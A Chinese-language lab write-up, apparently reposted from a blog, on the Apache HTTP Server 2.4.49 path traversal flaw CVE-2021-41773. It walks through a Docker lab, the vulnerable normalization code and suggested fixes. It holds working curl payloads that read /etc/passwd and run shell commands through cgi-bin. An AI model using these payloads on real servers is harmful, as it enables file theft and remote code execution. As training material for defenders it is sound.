本文介绍: Apache HTTP Server 2.4.49 路径穿越漏洞Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本版本等于2.4.49穿越的目录允许被访问比如配置了。(默认情况下是不允许的)攻击者利用这个漏洞可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文源码,或者在开启cgicgid服务器执行任意命令


前置知识


cgicgi应用程序

公共网关接口(Common Gateway Interface,CGI)是一个Web服务主机提供信息服务标准接口可以想象成银行提供服务柜台窗口)。通过CGI接口,Web服务器就能够获取客户端提交信息,转交给服务器端的CGI程序进行处理最后返回结果客户端简单的说,cgi就是一个接口
CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。
在这里插入图片描述


curl命令

curl 是常用的命令行工具用来请求 Web 服务器。curl客户端client)的URL工具的意思。

–path-as-is

可以使curl完全按照URL中提供的路径发送,而不删除任何点段。

-d或–data

用于发送 POST 请求的数据体。

v

输出通信的整个过程用于调试

在这里插入图片描述


靶场:CVE-2021-41773


1 靶场介绍

Apache HTTP Server 2.4.49 路径穿越漏洞
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启cgicgid的服务器上执行任意命令


2 漏洞验证路径穿越
  1. 编译运行

    docker-compose build
    docker-compose up -d
    

    在这里插入图片描述

  2. 环境启动后,访问http://your-ip:8080即可看到Apache默认It works!页面
    在这里插入图片描述

  3. 使用如下CURL命令发送Payload(注意其中的/icons/必须是一个存在且可访问的目录)

    curl -v --path-as-is http://20.210.90.167:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    // 这里可以使用.%2e也可以使用%2e%2e
    
    url解码curl -v --path-as-is http://20.210.90.167:8080/icons/../../../../etc/passwd
    
  4. 成功读取到/etc/passwd说明存在路径穿越。
    在这里插入图片描述在这里插入图片描述

  5. 漏洞原理
    Apache HTTP Server 2.4.49版本使用ap_normalize_path函数在对路径过滤时候没有过滤干净。
    函数原理遍历路径字符串,对每一位,先进行url解码然后检测当前位和下一位的组合是不是..

    AP_DECLARE(int) ap_normalize_path(char *path, unsigned int flags)
    {
    
     	......
     	
        // 遍历路径字符串,一边做url解码一边检测 '..',出现漏洞。
        while (path[l] != '') {
            // 这一段是在做URL解码,检测到当前位为‘%’,接下来两位为十六进制数字进入if
            if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) && path[l] == '%' && apr_isxdigit(path[l + 1]) && apr_isxdigit(path[l + 2])) {
                const char c = x2c(&path[l + 1]); // 将url编码转换字符(16进制char
                if (apr_isalnum(c) || (c && strchr("-._~", c))) {
                    l += 2;
                    path[l] = c;
                }
            }
            
    		......
    		
            // 如果path[0]不是斜杠,且不是* 或者空串,w就会置为0。
            if (w == 0 || IS_SLASH(path[w - 1])) {
    			
    			......
    			
                //如果检测到点号
                if (path[l] == '.') {
                    if (IS_SLASH_OR_NUL(path[l + 1])) {
                        l++;
                        if (path[l]) {
                            l++;
                        }
                        continue;
                    }
                    // 如果点号的下一个还是点号,就要删一点了
                    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                        if (w > 1) {
                            do {
                                w--;
                            } while (w && !IS_SLASH(path[w - 1]));
                        }
                        else {
                            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                                ret = 0;
                            }
                        }
                        l += 2;
                        if (path[l]) {
                            l++;
                        }
                        continue;
                    }
                }
            }
            path[w++] = path[l++];
        }
        path[w] = '';
        return ret;
    }
    

3 漏洞利用任意命令执行
  1. 服务端开启cgi或cgid两个mod的情况下,使用命令行工具利用路径穿越漏洞将可以执行任意命令
    curl -v --data "echo;id" http://20.210.90.167:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
    

    在这里插入图片描述

    curl -v --data "echo;whoami" http://20.210.90.167:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
    

    在这里插入图片描述

    curl -v --data "echo;ls /" http://20.210.90.167:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
    

    在这里插入图片描述

  2. 问题:多输入单引号
    在这里插入图片描述
  3. 使用抓包工具
    在这里插入图片描述

4 修复
  1. 升级更新
  2. 关闭目录遍历功能
  3. 关闭cgi模式

原文地址:https://blog.csdn.net/weixin_52116519/article/details/127540169

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任

如若转载,请注明出处:http://www.7code.cn/show_37678.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注